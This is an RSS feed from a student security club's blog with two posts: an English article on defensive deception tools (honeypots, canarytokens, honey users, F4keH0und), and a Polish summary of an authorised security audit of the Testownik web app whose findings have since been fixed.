<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>KN White Hats – Artykuły</title><link>https://whitehats.pwr.edu.pl/blog/</link><description>Recent content in Artykuły on KN White Hats</description><generator>Hugo -- gohugo.io</generator><language>pl-pl</language><lastBuildDate>Fri, 28 Nov 2025 01:33:39 +0100</lastBuildDate><atom:link href="https://whitehats.pwr.edu.pl/blog/index.xml" rel="self" type="application/rss+xml"/><item><title>[ENG] Oh Bother - We got hacked again</title><link>https://whitehats.pwr.edu.pl/blog/2026-03-29-deception-technologies/</link><pubDate>Sun, 29 Mar 2026 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2026-03-29-deception-technologies/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2026-03-29-deception-technologies/honeypot_hu_4f1b99b561dd1fc1.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>You&amp;rsquo;ve probably heard about honeypots. But if you work in a corporate environment, you&amp;rsquo;ve probably never used one. Why is that?&lt;/p>
&lt;p>Defensive (Blue) teams deploy various tools on their networks.
EDRs, NGFWs, IPS/IDS solutions, all of them have one common pitfall - they generate a lot of data.
That might not sound like a bad thing, but it leads to situations where alerts are ignored because &amp;ldquo;that&amp;rsquo;s probably just a false positive&amp;rdquo;,
&amp;ldquo;one of the yara rules has an empty string as a match&amp;rdquo;, and others.&lt;/p>
&lt;p>In many cases, these tools are not used to detect active attacks,
but are used to perform a &amp;ldquo;post mortem&amp;rdquo;, to figure out what happened on
that one subnet that apparently wasn&amp;rsquo;t behind a firewall last month.&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;There’s no problem too big that a little honey can’t solve.&amp;rdquo; ~ Winnie the Pooh&lt;/p>
&lt;/blockquote>
&lt;p>Honeypots and other deception tactics are different.
They are designed around the idea that you can place a very &amp;ldquo;delicious&amp;rdquo; looking component somewhere in your system,
which has no legitimate use. That means, that if something weird is happening on it &lt;strong>you can be sure&lt;/strong> that you are, in fact, getting pwned right now.&lt;/p>
&lt;h2>Honeypots&lt;span class="hx:absolute hx:-mt-20" id="honeypots">&lt;/span>
&lt;a href="#honeypots" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>The general idea? Deploy something that someone can easily &amp;ldquo;hack&amp;rdquo; into - and be alerted when they do. This is the most common type of decoy. It can be a standard Windows/Linux server, a NAS, a network switch, a web app, or basically any other system.&lt;/p>
&lt;p>The &lt;a href="https://github.com/paralax/awesome-honeypots"target="_blank" rel="noopener">Awesome-honeypots Github repo&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> collects lots of cool plug &amp;rsquo;n play projects that mimic things like &lt;a href="https://github.com/sjinks/mysql-honeypotd"target="_blank" rel="noopener">MySQL databases&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> or even &lt;a href="https://github.com/cowrie/cowrie"target="_blank" rel="noopener">SSH servers&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Most of them are pretty old, but they can give a general idea of the possibilities.&lt;/p>
&lt;h3>OpenCanary&lt;span class="hx:absolute hx:-mt-20" id="opencanary">&lt;/span>
&lt;a href="#opencanary" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>This is a very well maintained and reputable project. It has reasonable system requirements, and is packed full of features. Below you can see a fake login screen, created by its HTTP module. Check out their &lt;a href="https://github.com/thinkst/opencanary/"target="_blank" rel="noopener">repository on Github&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>&lt;figure>
&lt;img src="synology-nas-honeypot.png" title="Synology NAS honeypot from opencanary." alt="" data-zoomable loading="lazy" />
&lt;figcaption>Synology NAS honeypot from opencanary.&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;h3>T-Pot&lt;span class="hx:absolute hx:-mt-20" id="t-pot">&lt;/span>
&lt;a href="#t-pot" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>One of the most interesting honeypot projects that I have found is &lt;a href="https://github.com/telekom-security/tpotce"target="_blank" rel="noopener">T-Pot&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, which is still under development. It is easy to deploy and provides every possible honeypot service. I&amp;rsquo;d say its main issue lies in the system requirements:&lt;/p>
&lt;blockquote>
&lt;ol>
&lt;li>(&amp;hellip;) The T-Pot installation needs at least 8-16 GB RAM, 128 GB free disk space as well as a working (outgoing non-filtered) internet connection.&lt;/li>
&lt;li>Download or use a running, supported distribution.&lt;/li>
&lt;li>Install the ISO with as minimal packages / services as possible (ssh required)&lt;/li>
&lt;/ol>
&lt;/blockquote>
&lt;p>That&amp;rsquo;s quite a lot for a honeypot, but T-Pot includes additional tools like for example &lt;strong>the entire ELK Stack&lt;/strong>, so I guess it can be slimmed down. I strongly recommend experimenting with it yourself, but here are some stats I gathered a few years ago by hosting T-Pot on Azure with a public IP address and every possible service enabled:&lt;/p>
&lt;p>&lt;figure>
&lt;img src="tpot-user-pass.png" title="T-Pot usernames and password stats (click to zoom-in)" alt="" data-zoomable loading="lazy" />
&lt;figcaption>T-Pot usernames and password stats (click to zoom-in)&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;figure>
&lt;div class="flex flex-col md:flex-row max-w-full gap-2">
&lt;div class="w-full md:w-1/2">
&lt;img src="tpot-srcIPs.png" class="medium-zoom-image w-full h-auto" alt="" data-zoomable="" loading="lazy">
&lt;/div>
&lt;div class="w-full md:w-1/2">
&lt;img src="tpot-cmds.png" class="medium-zoom-image w-full h-auto" alt="" data-zoomable="" loading="lazy">
&lt;/div>
&lt;/div>
&lt;figcaption>T-Pot traffic source IPs reputations and commands ran&lt;/figcaption>
&lt;/figure>
&lt;p>The obvious issue with honeypots is that they must be running all the time, which can sometimes be problematic due to costs or for other reasons. This is why the next section exists.&lt;/p>
&lt;h2>Canarytokens / Honeytokens&lt;span class="hx:absolute hx:-mt-20" id="canarytokens--honeytokens">&lt;/span>
&lt;a href="#canarytokens--honeytokens" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>This is a much more interesting solution – canary tokens are tiny tripwires, which can be practically anything, like files, API keys, dummy credentials or even credit card numbers. The name comes from Canaries, little birds &lt;a href="https://www.smithsonianmag.com/smart-news/what-happened-canary-coal-mine-story-how-real-life-animal-helper-became-just-metaphor-180961570"target="_blank" rel="noopener">used in 20th century&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> to detect carbon monoxide gas by the coal mining industry.&lt;/p>
&lt;p> Here are some real-life examples of such tokens:&lt;/p>
&lt;ol>
&lt;li>&lt;strong>Credit cards&lt;/strong> – valid credit card data can be placed in a password manager, if it gets breached and someone tries to use it, a notification is sent instantly. Without that we wouldn’t be able to detect this kind of breach in any other way.&lt;/li>
&lt;li>&lt;strong>API keys&lt;/strong> – &lt;a href="https://grafana.com/blog/canary-tokens-learn-all-about-the-unsung-heroes-of-security-at-grafana-labs"target="_blank" rel="noopener">as described by Grafana&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, this token can be placed in a CI/CD config to later detect someone stealing secrets with &lt;a href="https://github.com/trufflesecurity/trufflehog"target="_blank" rel="noopener">trufflehog&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/li>
&lt;li>&lt;strong>MS Office file&lt;/strong> – ultra simple solution, a docx/xlsx file that triggers an alert once opened, filled with genuine-looking customer data, usually placed on an enterprise cloud drive.&lt;/li>
&lt;li>&lt;strong>QR codes&lt;/strong> – a good physical option, it can be printed and hung on a wall in a secure location, and who knows, maybe it will catch some rare species like physical red-teamers.&lt;/li>
&lt;/ol>
&lt;p>One of the most popular vendors of this solution is Thinkst Canary, you can test their tool for free here: &lt;a href="https://canarytokens.org"target="_blank" rel="noopener">https://canarytokens.org&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. I do not know if this is the best solution available, but it&amp;rsquo;s the only one I&amp;rsquo;ve used, so feel free to explore other options!&lt;/p>
&lt;p>&lt;figure>
&lt;img src="canarytokens.png" title="Some canary tokens available on canarytokens.org" alt="" data-zoomable loading="lazy" />
&lt;figcaption>Some canary tokens available on canarytokens.org&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>The good news is that the code is open source &lt;a href="https://github.com/thinkst/canarytokens"target="_blank" rel="noopener">on Github&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>! It should only take a few minutes for you to distribute some files or API keys across your systems, while it costs essentially nothing. It’d say it&amp;rsquo;s 100% worth it.&lt;/p>
&lt;h3>How does a canarytoken notification work?&lt;span class="hx:absolute hx:-mt-20" id="how-does-a-canarytoken-notification-work">&lt;/span>
&lt;a href="#how-does-a-canarytoken-notification-work" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>You might be wondering how on earth a &lt;code>docx&lt;/code> file can send notifications when being opened. That&amp;rsquo;s a good question, and the answer short answer is ✨DNS Tunnelling✨. You can read a bit more about their approach &lt;a href="https://help.canary.tools/hc/en-gb/articles/360002425837-What-is-DNS-tunnelling"target="_blank" rel="noopener">here&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, but in simple terms:&lt;/p>
&lt;ol>
&lt;li>The file contains a tracking pixel, a tiny element, invisible to the user, which is embedded in the file.&lt;/li>
&lt;li>The pixel links to a remote server, owned by the creator of the tokenised file.&lt;/li>
&lt;li>When the file is opened, a DNS request is sent to resolve the domain name that hosts the pixel to an IP address.&lt;/li>
&lt;li>Once the IP is known an additional HTTP request is sent to retrieve the pixel.&lt;/li>
&lt;/ol>
&lt;p>Either the DNS or the HTTP request would suffice to recognise that the file was opened, but some networks can filter out specific HTTP/DNS packets. Having two ensures redundancy.&lt;/p>
&lt;p>&lt;figure>
&lt;img src="wireshark-token-dns.png" title="DNS query" alt="DNS query" data-zoomable loading="lazy" />
&lt;figcaption>DNS query&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>&lt;figure>
&lt;img src="wireshark-token-http.png" title="HTTP request" alt="DNS query" data-zoomable loading="lazy" />
&lt;figcaption>HTTP request&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;h2>Honey Users&lt;span class="hx:absolute hx:-mt-20" id="honey-users">&lt;/span>
&lt;a href="#honey-users" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Creating a new user in your identity management solution like Active Directory is trivial and free (usually). To make the user a deception tool, configure an alert on every login attempt for the account and boom, you have another trap that can detect eg. &lt;a href="https://owasp.org/www-community/attacks/Password_Spraying_Attack"target="_blank" rel="noopener">password spraying&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> attacks. It&amp;rsquo;s a good idea to plant the username of this user someplace where a potential attacker can get it (more easily than legitimate usernames).&lt;/p>
&lt;blockquote>
&lt;p>You can even plant real passwords with real usernames to let attackers log in and observe them as &lt;a href="https://www.youtube.com/watch?v=78qnM_ZzpNc"target="_blank" rel="noopener">Ross Bevington showed here&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> - an expensive, but really cool experiment!&lt;/p>
&lt;/blockquote>
&lt;p>Three important rules to follow when creating honey users:&lt;/p>
&lt;ol>
&lt;li>&lt;strong>Do not&lt;/strong> name the user &amp;ldquo;John Doe&amp;rdquo;, &amp;ldquo;Jan Kowalski&amp;rdquo;, &amp;ldquo;Jean Dupont&amp;rdquo;, or whatever name is used as a placeholder in your language.&lt;/li>
&lt;li>The account &lt;strong>must not be used&lt;/strong> by anyone, any login attempt indicates confirmed malicious activity.&lt;/li>
&lt;li>It&amp;rsquo;d be nice to add the account to some real groups to make it look convincing, but &lt;strong>do not assign it any sensitive permissions&lt;/strong>.&lt;/li>
&lt;/ol>
&lt;h2>F4keH0und&lt;span class="hx:absolute hx:-mt-20" id="f4keh0und">&lt;/span>
&lt;a href="#f4keh0und" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Attackers may want to run tools like &lt;a href="https://github.com/SpecterOps/SharpHound"target="_blank" rel="noopener">SharpHound&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> once they establish a beacon in your network to enumerate the Active Directory structure. Their goal is to find &lt;a href="https://bloodhound.specterops.io/resources/edges/overview"target="_blank" rel="noopener">edges&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, permissions or relationships between AD objects, and then abuse them for privilege escalation or pivoting.&lt;/p>
&lt;p>&lt;figure>
&lt;img src="bloodhound.png" title="Example Bloodhound graph displaying AD structure" alt="" data-zoomable loading="lazy" />
&lt;figcaption>Example Bloodhound graph displaying AD structure&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>An interesting example of a connection might be an administrator connected to a PC with &lt;code>HasSession&lt;/code> link.
This could mean that the user has left their credentials on the system, which can later be stolen by the adversary.
&lt;a href="https://github.com/DEF-CON-Group-420/F4keH0und/"target="_blank" rel="noopener">F4keH0und&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> helps find opportunities where such relationships can be planted to lure attackers.&lt;/p>
&lt;h2>How NOT to design deception tools&lt;span class="hx:absolute hx:-mt-20" id="how-not-to-design-deception-tools">&lt;/span>
&lt;a href="#how-not-to-design-deception-tools" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Deception systems have to be believable, and appear as ordinary (and perhaps older) systems, as opposed to the below host that I found on Shodan.&lt;/p>
&lt;figure class="mt-4 mx-auto max-w-160">&lt;img src="https://whitehats.pwr.edu.pl/blog/2026-03-29-deception-technologies/christmas-tree-honeypot.png"
alt="Christmas tree honeypot">&lt;figcaption>
&lt;p>Example of a super duper ultra suspicious honeypot&lt;/p>
&lt;/figcaption>
&lt;/figure>
&lt;p>This is why you should not have a:&lt;/p>
&lt;ul>
&lt;li>&lt;code>passwords.txt&lt;/code> file on Desktop, it screams &amp;ldquo;trap&amp;rdquo; and therefore is not a good idea for a canarytoken.&lt;/li>
&lt;li>file named &lt;code>confidential.pdf&lt;/code> with &lt;code>rwxrwxrwx&lt;/code> permissions is too obvious.&lt;/li>
&lt;li>Ubuntu 12.04 host is too ancient to not be considered a honeypot.&lt;/li>
&lt;li>Domain controller named &lt;code>DC01-HONEYPOT&lt;/code> is an extremely bad idea.&lt;/li>
&lt;/ul>
&lt;p>Honeypots and other deception elements should be carefully planned and strategically distributed, because an unrealistically large number of open ports will definitely alert an intruder, making them as stealthy as possible.&lt;/p>
&lt;p>Every trap we deploy must be intriguing enough to make people want to interact with it. We have to balance making it seem normal with not making it obviously fake. A regular Windows machine can attract interest if it appears in a realistic context. At the same time, a honeypot server must be indistinguishable from production servers.&lt;/p>
&lt;figure class="mt-6">&lt;img src="https://whitehats.pwr.edu.pl/blog/2026-03-29-deception-technologies/zebras.png"
alt="Alex, am I black with white stripes or black with white stripes?">&lt;figcaption>
&lt;p>Alex, am I black with white stripes or black with white stripes?&lt;/p>
&lt;/figcaption>
&lt;/figure>
&lt;p>You should heavily consider deploying deception tools on your network.
At the very least, they will be another source of data that you can use to identify potential threats,
and at their best they might just prevent another expensive incident to investigate.&lt;/p>
&lt;h2>Sources&lt;span class="hx:absolute hx:-mt-20" id="sources">&lt;/span>
&lt;a href="#sources" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;ul>
&lt;li>&lt;a href="https://ww2.georgiasouthern.edu/research/researchintegrity/irb-faq/what-is-the-difference-between-active-and-passive-deception/"target="_blank" rel="noopener">https://ww2.georgiasouthern.edu/research/researchintegrity/irb-faq/what-is-the-difference-between-active-and-passive-deception/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/tracebit-com/awesome-deception"target="_blank" rel="noopener">https://github.com/tracebit-com/awesome-deception&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://canarytokens.org/"target="_blank" rel="noopener">https://canarytokens.org/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/telekom-security/tpotce"target="_blank" rel="noopener">https://github.com/telekom-security/tpotce&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/thinkst/opencanary"target="_blank" rel="noopener">https://github.com/thinkst/opencanary&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/DEF-CON-Group-420/F4keH0und"target="_blank" rel="noopener">https://github.com/DEF-CON-Group-420/F4keH0und&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Solvro x WhiteHats</title><link>https://whitehats.pwr.edu.pl/blog/2026-03-09-solvro-x-whitehats/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2026-03-09-solvro-x-whitehats/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2026-03-09-solvro-x-whitehats/solvro-x-knwh_hu_dc7709ff13b644d.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>W okresie od grudnia 2025 r. do lutego 2026 r. w ramach współpracy ze strategicznym kołem naukowym &lt;a href="https://solvro.pl/"target="_blank" rel="noopener">Solvro&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> przeprowadziliśmy badanie zabezpieczeń aplikacji webowej &amp;ldquo;Testownik&amp;rdquo;.&lt;/p>
&lt;h2>Zakres i metodologia&lt;span class="hx:absolute hx:-mt-20" id="zakres-i-metodologia">&lt;/span>
&lt;a href="#zakres-i-metodologia" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Badanie zostało przeprowadzone w trybie hybrydowym, łączącym audyt &lt;a href="https://github.com/Solvro/backend-testownik"target="_blank" rel="noopener">kodu&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> wraz z testami penetracyjnymi aplikacji.&lt;/p>
&lt;p>Audyt kodu źródłowego został przeprowadzony pod kątem identyfikacji luk w zabezpieczeniach oraz niepożądanych zachowań aplikacji. Szczególną uwagę poświęciliśmy funkcjonalności uwierzytelniania i autoryzacji użytkowników.&lt;br>
Przeprowadziliśmy również przegląd kodu pod względem identyfikowania podatności z listy &lt;strong>OWASP Top 10 2025&lt;/strong> i za pomocą tej metodologii zidentyfikowaliśmy kilka, o różnych stopniach zagrożenia.&lt;/p>
&lt;p>Testy penetracyjne przeprowadzaliśmy z założeniem, że do aplikacji Testownik dostęp chcą uzyskać osoby trzecie z niecnymi celami – wcielając się w rolę potencjalnego hakera. Wszelkie działania zostały przez nas przeprowadzone wyłącznie w środowisku testowym udostępnionym nam przez KN Solvro.&lt;/p>
&lt;h2>Wyniki badań&lt;span class="hx:absolute hx:-mt-20" id="wyniki-badań">&lt;/span>
&lt;a href="#wyniki-bada%c5%84" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Zidentyfikowaliśmy kilka podatności, które zostały niezwłocznie zgłoszone, a następnie naprawione przez zespół pracujący nad aplikacją. W wyniku naszych działań, w Testowniku wprowadzone zostały następujące zmiany:&lt;/p>
&lt;ul>
&lt;li>aplikacja używała domyślnych funkcji do generowania kodów OTP – teraz korzysta z bezpieczniejszych kryptograficznie algorytmów,&lt;/li>
&lt;li>w wyniku spowodowania błędu na jednym z endpointów aplikacji użytkownik mógł otrzymać adres wewnętrznego serwisu N8N – zostało to naprawione, a w przypadku wystąpienia błędów, aplikacja natychmiast poinformuje zespół deweloperów, pomagając szybciej identyfikować potencjalne problemy,&lt;/li>
&lt;li>przy uruchomieniu starszych quizów, aplikacja poprosi użytkownika o potwierdzenie przed załadowaniem zewnętrznych zdjęć.&lt;/li>
&lt;/ul>
&lt;h2>Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie">&lt;/span>
&lt;a href="#podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Dziękujemy członkom Solvro za współpracę w ramach tego projektu. Dzięki owocnej kooperacji Testownik jest teraz jeszcze bezpieczniejszy — dla wszystkich.&lt;/p>
&lt;p>Pozwalając nam na przeprowadzenie naszych badań KN Solvro pokazuje dedykację do zwiększania bezpieczeństwa swoich użytkowników. Dodatkowo, podczas naszej współpracy na własną rękę przekonaliśmy się, że zespół monitorujący bezpieczeństwo aplikacji czuwa — nawet o 3 rano.&lt;/p>
&lt;figure class="mt-4 mx-auto max-w-120">&lt;img src="https://whitehats.pwr.edu.pl/blog/2026-03-09-solvro-x-whitehats/antekniespi.png"
alt="idżcie spać">&lt;figcaption>
&lt;p>Testy penetracyjne w strategicznych godzinach nocnych&lt;/p>
&lt;/figcaption>
&lt;/figure>
&lt;div class="hx:overflow-x-auto hx:mt-6 hx:flex hx:rounded-lg hx:border hx:py-2 hx:ltr:pr-4 hx:rtl:pl-4 hx:contrast-more:border-current hx:contrast-more:dark:border-current hx:border-green-200 hx:bg-green-100 hx:text-green-900 hx:dark:border-green-200/30 hx:dark:bg-green-900/30 hx:dark:text-green-200">
&lt;div class="hx:ltr:pl-3 hx:ltr:pr-2 hx:rtl:pr-3 hx:rtl:pl-2">&lt;svg height=1.2em class="hx:inline-block hx:align-middle" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor" aria-hidden="true">&lt;path stroke-linecap="round" stroke-linejoin="round" d="M9.663 17h4.673M12 3v1m6.364 1.636l-.707.707M21 12h-1M4 12H3m3.343-5.657l-.707-.707m2.828 9.9a5 5 0 117.072 0l-.548.547A3.374 3.374 0 0014 18.469V19a2 2 0 11-4 0v-.531c0-.895-.356-1.754-.988-2.386l-.548-.547z"/>&lt;/svg>&lt;/div>
&lt;div class="hx:w-full hx:min-w-0 hx:leading-7">
